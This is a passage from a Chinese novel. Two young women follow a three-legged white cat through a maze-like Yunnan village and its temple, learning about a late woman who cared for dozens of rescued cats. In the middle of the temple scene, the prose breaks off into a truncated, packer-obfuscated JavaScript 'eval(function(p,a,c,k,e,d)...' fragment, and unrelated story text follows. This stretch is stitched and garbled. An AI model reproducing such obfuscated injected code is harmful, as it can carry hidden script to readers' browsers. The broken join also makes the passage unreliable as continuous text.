“亚马逊流域的原住民,克丘亚族,他们能够听到树在唱歌。他们相信,雨林里面的声音不是单纯的雨声,而是雨水和树的合奏。雨林里的所有的植物都在通过雨发出声音。他们认为,这是树在翻译雨声。是不是很有意思的比喻?克丘亚族人如果遇到困难,就会去找森林里的吉贝树,拥抱它,寻求力量。他们相信,当触摸一颗巨大的吉贝树的时候,他们可以听到树的心声,树可以指引人类,可以让人感到快乐,感到悲伤,也可以给人答案。这应该就是你所说的,感受到心意吧? 植物有生命,它们能动,能喝水,能随风摇摆。一些植物有感觉器官和神经系统,一些植物有自己的血型。而人类至今,对植物的认知远远不够多。 就算是伟大的植物学家,也曾在他的时代,犯下过对植物的认知错误。比如,植物学家林奈不相信猪笼草可以捕食昆虫,因为这违背了上帝的法则和秩序。他认为,昆虫只是暂时被困住了,随时可以逃脱。他不相信一只虫子会被一种植物吃掉,到死都这样坚持。因为他是权威,他的观点在后世也很权威,这种观点被之后的研究者抄来抄去,一直持续了一百多年。 然而今天,小朋友们都知道,猪笼草、捕蝇草会吃虫子。植物,可以吃掉动物。 那或许,若干年后,小朋友们也都知道,人类,至少一部分人类,可以听到植物、感受到植物的情绪。” 小佘姐,你知道吧,有时候有人一套专属的密码,或许活得会更开心。 在我还没有科学的认识植物之前,小时候的我会用自己的方式来描述植物。比方说,紫荆花,我会说它光秃秃的,叶子是心的形状,整个树像长在大地上的紫红色珊瑚,并且我相信,她的叶子和花,关系并不好。我爸会记录下来。如果不是后来我看到我爸的日记,我不会知道,自己小时候创造过一些独特的密码。即便是现在,十分了解植物的我再看小时候的这些描述,我依然觉得它是精准的,哪怕不是课本上的那种正确。 你比其他人灵敏。你不需要怀疑你自己。如果这个世界上有人可以触摸到一片叶子,就告诉我,长出这片叶子的这棵树、这朵花开不开心,我会为此感到惊喜,甚至会嫉妒。你拥有一套专属于自己的和植物交流的密码。其他人是否理解,没太有无所谓。你让这套密码在它能够流通的世界里,好好运转,就好了。” “我只是,觉得,你会因此更孤单,在人类世界里孤单。”姜籽说,“如果孤单,你就多和植物说话。” “好。”二更看着落日,没有再多言,只是反复回想姜籽的话。 漫天红霞已过,余下粉中带蓝的一朵云迟迟不愿意走开,像幼儿园里走得最晚的小女孩。今天和以后,二更都相信,那朵云,一定会被谁看见,坚定地接回家。 7. 第五课(上): 温郁金 可以不做人 01 白猫使者,打开魔盒 温郁金二十几岁的时候,去四川旅游。不记得走到了哪个小镇上,青石板路的小巷子里,有个老头背着手散步。她路过,他停下,忽然叫住她。 “你上辈子是被人救过的一只猫,这辈子做人,还完了债,就要做回猫。” 可惜,她听不太懂这里的方言。 温郁金四十多岁的时候,离了婚,自己过。五十岁开始,和三四十只猫一起过。“又没有危害社会伤天害理,你管我是人是鬼。有时候,我觉得自己更像一只猫。”这次,是她自己说出来的。 温郁金六十八岁,在云南的石梓古镇病逝,给忘年交林檎留下了一栋一颗印形制的老宅子,和许多只猫。 林檎,老延的高中同学,也就成了二更、姜籽与温郁金之间的话事人。 -- 这天,院子里,老延正在拾掇一颗苔藓球固根的春羽,洗干净,养在一个白色的花盆里。春羽长势很好,舒展油亮。它本养在康定杨病房中,人走之后,春羽长出了嫩芽。陆均松不舍得丢,但养在身边,睹物思人,到底有些不合时宜。他专程找了一天,把它送到了老延这里。 二更看着正被洗着澡的苔藓球,对老延说,“您可能要小心一点,它们有点害怕。” “成,给你挠挠痒。”老延用手指头戳了戳苔藓球。春羽不耐烦地晃了晃。 如果这世界上的人给植物换盆时,都能和它们说说话就好了。二更现在知道,植物们搬家时,也会忧心忡忡。好不容易习惯了医院的窗台,办公室的窗台,这会儿又要换地方了。但目前看来,它喜欢这个院子。 “二更啊,你们可能要去一趟石梓镇。”老延洗完春羽,对二更说。 二更翻开老延发来的定位:呈贡区·石梓古镇·钟花草。 “这是个什么地方?”二更问。 “动物毛发过敏者不能去的地方。所以,拜托你和姜籽啦!”老延拱一拱手,补充道,“我的高中好友林檎说,这里是一位女士变成一只猫的地方。我觉得有点意思,你们过去看看?” 石梓镇,昆明南部滇池边上的一座古镇。这是一个少数民族混居区,以彝族为主,杂居着汉族、彝族、苗族、壮族等20多个民族。80万年前的旧石器时代起,这里就有人类生息繁衍。在更遥远的2.7亿年前,石梓镇就形成了典型的高原喀斯特生态系统。如今,这里石牙、峰丛、溶丘、溶洞、溶蚀湖错落有致,是一座天然的喀斯特地形博物馆。 石板路、石板房、石板墙、石板瓦,石板垒的烤烟房、石头砌的牲畜圈,清一色全是石头。这一带的几个村子,传统旧房屋都由石灰岩石板堆砌而成,是滇中地区典型的“石头古寨”。石头,是很牢固的材质,风吹雨打了几百年,后人见的,还是和老祖宗住的差不多的房子。 这几年,因为滇池一年几度的音乐节,滇池周边的村子都有了人气。二更和姜籽先抵达的这座白栎村,就有两家云南本地乐队安札工作室,村里到处都是滇西民谣的音乐元素。“上次来白栎村,还是初中春游时。”姜籽回忆,“我们在碑林博物馆里找到了一块很特别的石碑,‘遗臭万年碑’,是宜良乡民给一个贪官立的碑。” 石栗村,在白栎村后面,是周边几个村子里最不热闹的一个,也是最难寻觅的一个。 石栗村从明末开始正式建村。历经明末、清末、民国后期军阀混战的动荡时代,周边匪患作乱,所以石栗村的路,无论是来路、出路、中间小路,全都弯弯绕绕,形成了不具名的阵法。外人摸不着头脑,一进来,就迷路了。网络上一度有一套“石栗村迷宫攻略”,然而这份攻略并不成功,进来的人很多出不去,很快就翻车了。石栗村本就在几个村子的最深处,要从镇上的游客中心步行两公里才到,很多游客不爱走路,爱走的走到了村子外围,也找不到进入村子里的路。 渐渐地,热度降下去了,又有人开始鼓吹石栗村的灵异故事,让更多人不敢近村。也好,石栗村终于回归了平静。 二更和姜籽,大概是最近一段时间唯一一组来寻石栗村的客人了。抵达村口,只有两家店。一家店已闭店,另一家便是“钟花草”了。店门前有一串很显眼的巨大店招装饰,一串紫黄色系为主的水晶手串。 女人的声音像一杯温热的玫瑰红茶,从挂着大手串的院子里传来,“你们来啦?” 来人头发中长,带一些天然的微卷,很蓬松,身形颀长,脸型也瘦长。这就是林檎了,她戴了一副浅粉色颜色的眼镜,自带眼影一般,看上去气色上佳。透过眼镜,二更看到了她黑亮的眼睛和轮廓很深的眼窝。这双生得立体的眼睛看人时,真诚而深邃。 “还好找吧?相对来说,我们村子有点远。”林檎声音柔柔的,像个江南人。 此时正午刚过,院里被晒得暖腾腾,没什么人,三五处看起来会坐得很舒服的老式低矮茶桌都得空闲着。 这是一座昆明传统院落,依照“一颗印”的建筑形制,院落呈方形,俯瞰如一枚印章。一颗印始于汉、彝先民对北方四合院的改良,具有落地云南后为适应气候而生的特点。比如,屋顶长短坡结合,这样既能在高原紫外线强的地区更好地遮阳,又能在西南的雨季更好地防止漏雨。 一个肚子圆滚滚的青年从侧房走出,拿着手机架和照灯,正往另一侧的展厅里走。见人来了,他点头问候。 “这是我的合伙人,也是我的侄子。”林檎介绍说,“我们店开得地方有点偏,还好有他,开开直播,线上销售额每天都挺稳定的。甚至会有粉丝专门过来,来院子里喝喝茶,看看水晶--他除了卖水晶,还是一个挺有名的评书博主,有十几万粉丝。” 哈?这两个词搭在一起,二更真是感慨自己孤陋寡闻。 石韦,林檎的侄子,林檎前夫家族的孩子。他们家在江苏连云港东海县,从上世纪五、六十年代就开始做水晶了。如今,家家户户的生计仍和水晶有关。石韦从小喜欢听评书相声,长大后,把自己喜欢的故事都改成评书,圣斗士、哈利波特,甚至,还改过台剧,《情深深雨濛濛》《恶作剧之吻》。这确实算得上另辟蹊径了,竟然,还火过一阵。丈夫去世后,林檎回云南修养身心,石韦尤其喜欢云南的气候,便也跟了来,计划呆一两年试试看。 林檎引她们到一处有遮阳伞的座位上坐下。脚下,青石板像搅拌机的刀片,带着些许锋利的意味,把院内草坪分成了几块。每一块草坪,被细致修剪成了回文型。在日光下,草坪闪闪发光。原是一些加工后余下的水晶碎石料,或是捡珠子时挑出来的品相不太好、有磕碰的小珠子。林檎把一些稀碎的随意洒在草坪里,让它们发光,又把个头较大的坏珠子串成珠链,挂在遮阳伞下,让它们随风荡一荡。 草叶之间,还有瓦猫。在林檎接手之前,院子里是一个瓦猫手工坊。店主生意越做越好,就搬到了市区的老街附近。姜籽在那盆生得很妩媚的火狐狸多肉的花盆里,发现一只紫色的瓦猫。它很像最近流行的拉布布,咧着大嘴巴,眼睛又萌又丑,一副贱兮兮的表情。瓦猫的屁股翘翘的,创造她的人大概希望做出屁桃君一样圆滚滚的屁股,但手艺不甚精湛,屁股捏得有点尖。咧开的大嘴巴也并不对称,右边明显拉长了,像是一个长长的对钩。 “它是被丢弃在这里了吗?”姜籽问。 “嗯,我搬来时,这里遗留了很多没被认领,或是工序没有完成就被废弃了的瓦猫,大多数都像《两只老虎》歌里唱得那样,缺胳膊少腿,当然也有多胳膊多条腿的。有些怪得可爱,有些样子死皮赖脸,有些不客气地说,就是歪瓜裂枣。我把它们留了下,摆在这里的花花草草里。”林檎还给每个瓦猫都起了名字。“这个叫球球,因为比较胖。那个叫瘦瘦,因为捏得太长条了。这个叫花花,尾巴扎开花了。” 隔壁房间里,石韦开始问候“宝子们”了。他最近喜欢晚上直播,凌晨卖得很好,很多人甚至会听着睡觉,当“水晶相声”听。他会借鉴评书或者相声的说话方式,讲讲手串、项链的材质,产地在哪里,成分是什么,这几年炒得热不热,最实在的入手价大约在什么区间。还有,什么人给它附会了些什么样的故事,怎么防止被忽悠。 林檎端来一壶茶,茶是常被外地游客调侃说“有小狗臭脚丫子味”的糯米香绿茶。“请你们来,是因为温姐”,林檎手中握着一盏画着狸奴戏桂花图景的小杯子,啜饮一口,缓缓地说。 茶喝完一盏,一只白猫把干净的爪子探过小院的门槛,又提起后腿,像个贵妃似的,大摇大摆地进了院子。白猫只有三条腿,走路姿态有点顺拐。但它一点也不胆怯,走出了极大的傲气。 “跟着小白,我们去温姐的家看看?”,林檎提议。 白猫在院子里兜了个八字形的猫步,转了个身,示意要带着她们出门。 三人起身,姜籽和二更在前,像虔诚的信徒跟着白猫出了院。林檎跟在它们后面,三人一猫,拐入了右手边的一条巷子。巷子不长,一路尽是石墙、石瓦,还有石窗子--从石墙上方挖出来的四方小孔。“外面小,里面大,像一个漏斗。可以采光,也可以防御。我们叫它,猫猫窗。”林檎说。 眼看就要走到巷子底了,末路是一家民宅。 白猫不急,它慢悠悠走到民宅后门。门是掩着的,门闩只象征性地扣上了一点点。白猫立起身来,爪子刚好碰到门闩。吧唧一声,门被白猫打开了。 二更和姜籽惊得说不出话来,先是看猫,又转过头俩看林檎。林檎示意,就跟着猫走,进! 院里晒着辣椒、菠萝片,墙角下堆着多只大小不一的南瓜,颜色从青绿、金黄到橘色不等。有一只土松,小小的,尾巴尚不如一只茭白大小,见人来,摇得很激动。见白猫领人来,它没有叫,只瞪着圆溜溜的小眼睛,目送着三人从前门走出去。 “太香了”,姜籽闻着晒在地上的小辣椒,和小土松道了别。姜籽在这样的环境里,倒显得比二更自在。 从这家院子的前门出,又进了另一家院子里的前门。 这家院子里老人正在晒暖,笑眯眯地和白猫和她身后的三人打了个招呼。她面前的老式竹编摇篮车里,一个小女孩儿正在晒黄疸,也咿咿呀呀的打了招呼。一只巨大的五黑犬跑了过来,眼睑上两的土黄色圆点也像一双囧囧有神的眼睛,这气势威风凛凛,把二更吓到一跳。黑狗却摇着尾巴跑回了院子,兜了个圈,像是一个得逞了的小孩。老人示意二更她们放心走,不必害怕,又和跟在后面的林檎寒暄了几句,说小孙女最近睡得还不错,谢谢她给的水晶小玩意儿。 林檎问,“黑狗性格很好,就是有时候太热情了,爱淘气。没有吓到你们吧?” 二更摇头,“花花挺可爱”。 林檎一时怔住,新到的客人如何识得小狗的名字?何况,是完全和它外表不搭的一个温柔名字。她又想,狗脖子上套着毛毛草编的花环,以为找到了答案,便不再多问。 不,花环告诉了二更狗子的名字,她最近和植物的对话能力有点飙升的势头。 花花兜风回来,把头刻意地低了下去,让二更摸,彷佛在道歉。二更试探着摸了摸黑狗的毛,有一点点扎手,但很顺,比小黄姜的毛毛更硬一些。花花似乎想跟着白猫和两人继续串门,但被主人喊了一声,就折返回去了。走之前,花花帮忙打开了下一户的后门。 白猫,黑狗,似乎都是村里行走的通行证,是姜籽和二更这两位外来客人的豁免券。村子里家家户户都养着一只或者更多只的狗,偶尔有猫。它们似乎都认识小白。村子里的后门一般比较低矮,前门很正式,但门闩的位置普遍不高,是一只成年后的猫、狗立起身来能活动的高度。 二更看明白了,迷宫之所以是迷宫,是因为前门后门的专属通道没有对外人打开。现在,有了白猫,它短暂地畅通无阻了。 姜籽显然很兴奋,她头一次被一只猫带着穿越一个古村。古村像一个魔盒,以最意想不到的方式打开。 很快,三人来到村子的中央地带,这里空旷开阔,没有民宅,是一座寺庙,名叫泥螺寺。 这里原是一片湖,地下泥螺壳层层累积。寺庙始建于明代末年,名字起得很随性。它与周围的法定寺、观音寺、妙湛寺、土主庙等镇上的其他古刹,都是明代时期佛教密宗在古镇兴起的见证。由于隐在不开放的村中,泥螺寺在石梓镇旅游攻略中并不突出,只有那种老式的纸质地图会明显地标注出它的位置。 小白一溜烟跑进寺里,找了自己喜欢的神仙,在蒲团上卧下,嗷呜嗷呜地开始聊天。不知道告得又是哪只小猫欺负她的事,听起来很愤愤然。 林檎则带着二更和姜籽走入寺中,走上一座纤细的石拱桥。桥下游鱼,拥挤出一抹抹鲜红。日光照得桥下水光油亮,反射到石桥下、石栏上、周围钟鼓楼的红墙上,一时间,安静的寺庙显出一种无声的欢快。又见不少被放生的乌龟,或在石头上晒太阳,或游在水中,相互招手。偶有一只,顶着一只不知谁丢的香蕉皮当帽子玩耍。 “你看,那是求偶舞,成年的雄龟遇上他心仪的雌龟,会游到她面前将一双前肢伸得直直的,用他那特长的爪子抚摸她的脸庞,也会围着她不停地游。”林檎说,“我从小就在这里长大,你看大石头上的那只,在我小的时候就在了,一只很大的草龟。据说它有60多岁了,还可能活到80岁。” 相比镇上其他几家位置外显的寺庙,泥螺寺对于游客而言似乎隐身了。但对于植物爱好者来说,不来,真是天大的损失。 “这一棵是滇润楠”,林檎像个尽职的导游,对寺里的草木很熟络,“那一棵也是滇润楠,都已经450多岁了。”按照古木协会的调研,泥螺寺里树龄在百年以上的古树有十几株,以滇润楠、三仙柏、紫薇树为主,其中有5棵古梅树龄在300年以上。明末时期种植的一棵山茶,距今已有500多年,开花时,仍十分明艳。 因寺里近些年的几位主持都好收留植物,一些虔诚的佛教信徒会在佛家节日里,随身带上一两盆多肉植物,送到寺里来。大多数供奉到此的植物是多肉,一则,多肉植物好打理,养在云南的天空下,老天爷会照顾,不会给庙里的师傅带来太多负担;二则,常见的多肉,比如景天科,形似莲花,信徒们当做佛前莲花来送。它们生命力顽强,也带着极好的寓意。 于是,胧月、虹之玉、玉龙观音、玉蝶......一众多肉植物,被栽种在了寺里,旧瓦当垒起来的植物墙上,或是山石山体上的凹陷处。这些多肉不计较身下是否有多么肥沃的土壤,只要晒得到太阳,浇点水,就愿意活。有些多肉,被信徒直接系在了古树垂下的红色祈福彩带上,气根在空中开始生长,随风摇曳,丝毫不惧这奇特的环境。不少多肉在被送来时,是花市买家为了吸引买家靠打药、喷漆,快速繁殖出的短命小可怜,本来或许活不了多久。但僧人会掐去它们打药的部分,让它们在庙里休养生息,渐渐地,新芽长出,晒出了不同于药锦的自然色彩。这样的色彩并不耀眼,一抹红晕会从多肉瓣的尖尖或是侧边,轻微地开始发散,似小心地点上去的腮红。有些信徒送来的多肉被贴心地标注了名称,摆在寺里古松柏树下的花坛上,诸如西瓜宝珠,勃朗山峰、赫拉、玉凤锦等。盆有精致的陶瓷造型盆,也有简单的塑料加仑盆。然而简单的盆里,可能恰恰种着花市里很少见的品种。写植物名字的标签纸,黏在香炉回收过来的线香底杆上,插进泥土里。 二更不常入佛寺,心中有些疑惑。寺里的植物,是否讲究清雅呢?例如神像前供奉的大多是百合,淡雅,有清香。然而这间寺庙里的植物们,有些过分妖娆了?七彩辣椒一身浓墨重彩,九尾狐伸展着妖媚的身姿。一盆多肉窜出来的花剑,弯弯的,两个在一起,找个角度,竟然能凑成一对爱心形状。庙里有一株桃花,春季花期,和庙里的红墙黛瓦甚是相配,不少信男信女在这里挂头绳求好姻缘。不知哪一盆四季桂还开着,向这一片片五颜六色的花花世界弥散着香气。对了,就连门口的乌龟,都在大大方方地跳着求偶舞。 但僧人对这些并不在意。 他们就静静坐着,不带分别心地看待娇艳的花儿,和他们亲自耕种的茄子、小白菜,是一样的。花儿们香气虽浓,颜色虽艳,都安静不语。玫红色的杜鹃花、魅惑紫的睡莲、桃红色的蝴蝶兰、紫红色的倒挂金钟,各有各的悠闲自在。柿子树、无花果、柠檬树,按照自己的节律结果。君子兰也好,发财树也罢,文人偏爱的兰,与商贾觉得喜庆的万年红,到了这里,都能放弃我执,皈依慈悲。 三角梅开过了艳丽的一季,玫红色的落红,聚拢在花盆里,它们懂得给根系做薄衣。一株重瓣的曼陀罗,抬头从底下看,如六角飞檐的庙宇。落雪时,落雨时,它们真的像飞檐一样,承托住了人间雨雪。洒金变叶木上,不知那只鸟儿飞过,留下一片轻薄的羽毛。羽毛很轻,又被吹到睡莲缸里打转。但无论是落在哪里,花儿叶儿都心存善念,不着急叫其沉没。再多呆一会儿吧,看看蓝天。 林檎带着二人继续往前走,左手边一拐,入了一处别院。这里更安静了,未做任何供奉,是一个介于寺庙殿宇和僧舍之间的过渡空间。院门上以云南的特色字体爨体写“常桉堂”,左右楹联写着:“人来人往皆为两字活计,僧止僧作都是一事因缘”。步入院中,堂中有一幅的字,不知哪一任主持写的诗句,“天为帐幕地为毡,日月星辰伴我眠”。 见人来了,无花果树的叶子轻微动了动。院中最里处的角落里,有一个石槽做的微型小池塘。鱼儿原本在自在地蜉蝣,感受到人的脚步,立马慌乱地逃走,飞快地钻入水底。只有一只瓢虫,反应迟钝,仍停在石边透亮的多肉玉露之上。 这是僧人超度往生小动物的地方。 “我们来看看温姐的一幅祈福牌”,林檎这话,既是对二更她们说,也是和院子里所有的生灵说。 院里有一株健壮的小叶榕,树不高,但根系发达,几条分根紧紧地呈螺旋状缠绕在一起,树冠密实,占据了小院的半壁天空。小叶榕上不似外面的树上挂着许多彩带,只有一些祈福牌。牌子并不精致,只是简单的小木牌,方形,圆形,心形,一些涂了浅浅的蓝色、粉色、绿色,很少有鲜亮的颜色,也有一些是原色。不少木牌悬挂已久,早已褪色。 似乎见人来了,有所感应。祈福牌们和小叶榕垂下的细小气根一起,极其轻微地荡了荡。二更感受到了。林檎与姜籽则都仰着头,在一堆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这棵树下,一天到晚都很热闹。早晨六点多,早集开市。老人家会卖卖小菜、腌菜和果糕。中午至下午,冬日日头充足,有人晒暖,夏日大树招风,树下清爽,有人乘凉。到了傍晚,小孩子爱在一旁的滑梯上爬上爬下。 祖母树旁还有两棵小树,是她的儿子们。大树上干干净净,小树上则系了一些红布条。如果村里家中有人生病,动了手术后回到家中修养,或是去医院看不好的无大碍却有些恼人的小病,都可以跟村中的老人会说一声,登记后,来这里绕树三圈,心存祷告,折一段大树上的小小树枝带回家,在祖先排位前放好。村民相信,祖母树会保佑子孙健康平安。 从祖母树下往前望,那座像猫猫头的山是村子的风水林,祖辈葬在那里。像笔架的叫笔架山,上面有座庙,是隔壁汉人村子里建玉皇庙。村里人偶尔也会过去祭拜。躺着的如人侧身的那座,村里人很少去。几十年前的旧中国,那是埋葬早夭小孩的禁忌地。另外,顶比较平的那座山,曾是汉、苗两个村子祖辈共同抗击土匪时,为转移村民修筑的庇护所。在危急时刻,村民按照前门后门的内部走法,走到祖母树这边,再踏过河中用大石头搭出的一道只有村里人知晓的暗桥,往山上走,去庇护所隐蔽。现在,山上还保留着一些破损的石头堡垒。 从古到今,一年到头,村里人无论老小,都可以受祖母树的庇护。村民亦懂得感激。祖母树下的水池是前几年新修的。村里人很在意这棵树,过去村里吃水井、河水的年代,新年,村里最壮实的青年,要从老井里面挑第一桶水,浇到祖母树这里来。浇水,只能用身前的那一桶,屁股后面的那一桶染了人的气息,不能敬给祖母树。 有几年,昆明南部大旱,村里特别干。祖母树养大的孩子们也都成祖母了。成了祖母的人,总担心这棵老树喝不饱。所以,村里的老人会决心喊全村人一起挖个水池,让祖母树喝上水。村委会按照生态保护和古木保护的项目报上去,被顺利批准。政府找专人请了园林专业团队,设计了一个确保祖母树喝水的蓄水景观。 由于前门后门的熟人通道不对外人打开,游客无法进入村子。祖母树不会被打扰,也不能被打扰。即便是滇池音乐节最热闹的这几年,除了村里人的亲戚,或者申请来做古建筑、古村、古树测绘与保护的高校师生,这里没什么其他人来。但村民可以出去,做生意、开店,日子倒也过得游刃有余。 “温姐就住那里”,林檎指了指祖母树下午两点钟的方向,里面,第二栋。“她给它起了个名字,叫苦糖果。受一点点伤,但依然是糖果,还是可以尝出来甜。” 一只狸花猫藏在苦糖果的门口,似乎准备吓一吓来人。“就它,最不喜欢睡午觉”。林檎话里带着一点点宠溺的语气。“它叫小虎,她和小白是温姐最先收养的两只猫。一只没有眼睛,一只少个后腿。” 温郁金刚收养这两只猫的时候,做过一个梦。梦里,家里养了两只很大的动物,一只是白虎,身形硕大浑身雪白色的长毛,一只是牦牛,长着黑黑的长长的角。因为太大,不适合家庭饲养,只能放到动物园去。因为要打针,需要控制住那只白色的牦牛,来了两三个人都应对不了,最后只能两人各压住一只角,余下的人压着它的身体打针。醒来之后,温郁金觉得梦里那只白虎很像那只白色的猫咪,而那种米黄色的牦牛很像小虎眼。 “其实温姐喜欢蠢一点的猫,笨一点的猫,她有点怕狸花猫。因为狸花猫太聪明,有很多的想法,它们会对人类提出要求,偶尔还会耍耍小脾气。猫屋里面有一只这样聪明的狸花猫,她就是老大。”林檎说。 目送小虎眼走入院子,又入厅堂,找了不知哪处安稳窝睡觉,二更才有余力好好看看这家院子。 一切从简的院子,并不奢华,却让二更想起来一个地方:故宫里的戏台畅音阁。两侧一些灌木好比连廊,而戏台,是院里的一棵高大的树。从厅堂里朝这棵树看,就像在看一出戏。 这棵歪脖子的滇朴,在村中有独属于它的典故。村里人说,多年前,村里下过一场几年难得一遇的暴雨,这家人的滇朴倒了。后来这家人用支架撑它起来,没想到,它竟然自己慢慢长了起来。如今,受伤的树,变成了一棵斜着长的老树,靠两根褐色的钢架稳稳支撑,加上它自己,三足鼎立,十分稳固,人爬上去也是稳当的。原来的人家搬去了昆明,生意做得还不错。他们拿这棵树当半个家人,轻易不会把院子租出去。 温郁金,恰恰是因为这棵树相中这个院子的。 她喜欢树。年纪大了,没办法爬高树。这棵斜着的树,正好可以斜靠。这棵树最舒服的靠法,是像躺椅一样坐上去,双脚离地,主干某一侧有个小凹槽,正好可以放屁股。林檎回忆时,忍不住笑起来,她一直记得温郁金当时就是这样跟她介绍的--如何正确地安放屁股,对斜靠是否舒服尤其重要。 温郁金小时候就会爬树。那种大小适中,树干挺直,树皮表面粗糙的树,最适合攀爬。她相信这棵滇朴如果顺利长大,肯定是一棵很好爬的树。它不巧受伤,她又刚好老了,她们的相遇刚刚好。 “你们会爬树吗?”林檎问。 二更摇摇头。姜籽问,“拿梯子往上走算吗?” “那不算。”林檎笑着拒绝了这个答案。“首先得够得着最低的那根树枝,一只手抓住它,另一只手环抱树干,用脚踩在树于凸起的部位,用双手抓住树枝,晃动腿部,引体向上,将一条腿搭到树枝上,再挪动另一条腿。无论用怎样的方式,四肢中的三个最好尽量牢牢地固定在树上,并且要分布在三个不同的位置,形成三个支点。” “好专业。”二更感慨。她相信昆明人是喜欢爬树的。一次散步,二更遇见一个中年男人对着一棵树跃跃欲试。他已经有点啤酒肚了,抱着树干,进行着热身准备工作,好不容易攀住了一只粗壮的质感,像一只抱着树枝的大考拉。但或许是因为技术不熟悉了,或许是因为人到中年体重基数太大,再不复少年风姿,男人迟迟没有力气进行下一步。旁边的女儿看到有点肚子肥了的父亲,咯咯地笑。妈妈则开始在一边劝,说小心。但小心的不是人,而是,“小心你的裤子!才买不久!” “有段时间,她一直靠着这棵树补觉,那时候有只猫咪传腹,没救回来,她前后忙活,失眠了很长一段时间。”林檎说着,示意二更她们转到这棵树的侧面。 滇朴树干上画了一个绿孔雀,正在低头觅食。孔雀是不会长大的,树上所有长的叶子都是它的尾羽毛。尾羽日益丰满。大多数时候,尾羽是绿色的,但冬日里,滇朴开始金黄,孔雀会拥有金黄色的尾巴。一年四季,孔雀都不会寂寞,甚至还会换衣。 林檎又引两人走入屋中。客厅里一些木质的老家具,都上了年头,未刷新漆,倒也完好。没有沙发,没有任何皮质的东西,墙上倒有一整套高矮搭配的复杂猫道连廊。房间一眼上去很干净,但如果放大检查,一些角落里,还是会有猫毛。一戳灰色的毛,来自一只蓝猫。“这是海蓝宝的毛吧?这只小猫耳朵有一点点听力障碍,所以日常活动难免要看其他猫咪的行动行事,养成了眼观六路的敏锐能力。它最喜欢在这个高处的角落,所以它的猫毛,我还认得。” “来这里,屁股几乎坐不到柔软的东西,”林檎有些抱歉地说,“猫会抓,猫打架会撒尿做标记,很不好打理,所以,只好委屈你们在木头板凳上坐坐。真不好意思。” 8. 第五课(下): 温郁金 可以不做人 二更和姜籽各自找了椅子坐,确实,有些硌屁股。地上反而有几个看起来就很柔软的猫窝。仔细看,能找到睡在其中的猫咪。 一只黑色的小猫,窝在窗台下的橘色猫窝里睡着,呼吸均匀,小肚子一涨一停地起伏着,露出一肚子蒜瓣毛。“这只叫小石榴”,林檎说,“石榴石看起来很黑,光下会发红,这种小猫叫玄猫,这个名字正好。”小石榴从一家猫咖民宿三楼的院子上掉下来,骨折,主人没有管。还是客人送到了宠物医院,预留了很多钱。客人是外地的,没办法带走它。后来,温姐去宠物医院治疗其他猫咪时,把它带了回来。 小石榴的窝旁边,有许多猫咪玩具。一只很大的水晶球十分显眼。一般这种猫咪玩具的材质都是瓦楞纸,一个三角形支架,撑起来一只可以给猫咪磨爪子的瓦楞纸大球。瓦楞纸便宜一些,即便抓坏了也不心疼。但眼前这个,竟然是一颗硕大的水晶球。“因为水晶球,它们抓不坏”,林檎解释说,“还能给一些肥猫们减减肥”。还有一些绑在半空中的水晶球,晃来晃去,亮闪闪的,它们是猫咪跳跃追逐的目标。尤其在阳光下,水晶球在墙上投影出跳动的光点,猫最喜欢追着它们玩了。 一只三花猫在最大号的水晶球下翻着肚皮,撑着腿睡,梦中爪子轻微地抖动着,彷佛在扒拉大球似的。“这只小猫最听话了,喜欢给温姐暖脚。每次温姐坐在这里的时候,它就喜欢趴在她脚腕上。它身上的黄色色块最多,所以,我叫它黄胶花。”林檎说。 有两只猫酣睡在一起,猫爪对着,下面的双脚也相互抵着,看起来很亲密。这是一对黑白相间的奶牛猫,身上的颜色都是黑白,只是分布不同。林檎叫它们叫玛瑙,大玛瑙,小玛瑙。大玛瑙脑门上有一大片黑色,小玛瑙屁股上有大小片黑色。两只猫的呼噜声一样,大得像个两位中年大叔。大玛瑙很聪明,人洗澡的时候会趴在门边看护,会开抽屉,会开衣柜滑门,所以温姐家里的抽屉密封条都是因为防它而安装的。小玛瑙肠胃不好,经常生病,温姐会用市集上买回来的背篓,装着它去医院看病。 “说到这个,其实,温姐和猫咪们结缘,就是因为给猫咪治病,包括,送它们走,走完这趟猫生。”林檎一边说着,一边抱起黄胶花,从头到屁股撸了一遍,又顺着它的脊梁骨,用恰当的力度给它通体顺了顺。黄胶花很享受,眼睛眯眯,胡子柔顺地垂着,发出咕噜咕噜的声响。这是温姐教她的手法,原本更复杂,她只学了皮毛。 温郁金来到石梓镇,最初,是打算到镇上的庙里做一段俗家居士,调理身心。不料恰好赶上疫情时期,周边村子几家原本靠养猫吸引客人的民宿大批倒闭,几家猫咖也难以为继。那个特殊时期,人都顾不上自己,二、三十只猫直接被遗弃在镇上,死的死,病的病。活着的、又没有绝育的猫,就流浪在镇上的小花园里、菜市场里,勉强偷生,生了又生。 温郁金是个心很软的人的,一旦看见了,就无法装作看不见。最开始,她在小公园、菜市场、餐馆门口的垃圾桶边,这类流浪猫多的地方喂猫,并且时不时捉猫,给它们做绝育和看病。也不是每天都喂,隔三差五去喂,喂着喂着,喂出来一种亏欠感。奇怪,明明自己做的是一件好事,是一种付出,怎么还亏欠上了?大概是怕给过了温暖,再收走,猫会感受到冷落,怕今天、明天可以,后天、明年就不可以,猫会又一次被遗弃。 这忧愁,越挂越久,像挂在树上慢慢风干的柳条,被风吹着荡啊荡,总叫人不得安宁。 索性,收养吧!温郁金做俗家居士,原是为了人世间的因果,后半生偷得清闲。猫有因果,本来可以不干涉,但一旦干涉了,就义无反顾了。 她在镇上租了个院子,一只猫,接一只猫地收留。起初,只接受那些重病的猫,温郁金希望让它们尽量能安度余生,即便无法治愈,也让它们体面地走。石梓镇上,那时还没有宠物医院。她开着车,后面载着六、七只猫去看病。有些病得严重一些,比如需要截肢、需要全口拔牙,需要长期应对肾脏、心脏的衰退。有些相对简单一些,例如外伤与皮肤病。自从开始为猫奔波,她就忙得不行,但她很开心。爱犬葫芦茶寿终正寝,她难过了很久,现在,她为新的生命奔波。人到了一定的年纪,或是处于苦难之中时,其实需要一点点雀跃。一点点就够了。流浪的、生病的弃猫,给她带来的新的生命任务,人生再度变得热闹了起来。 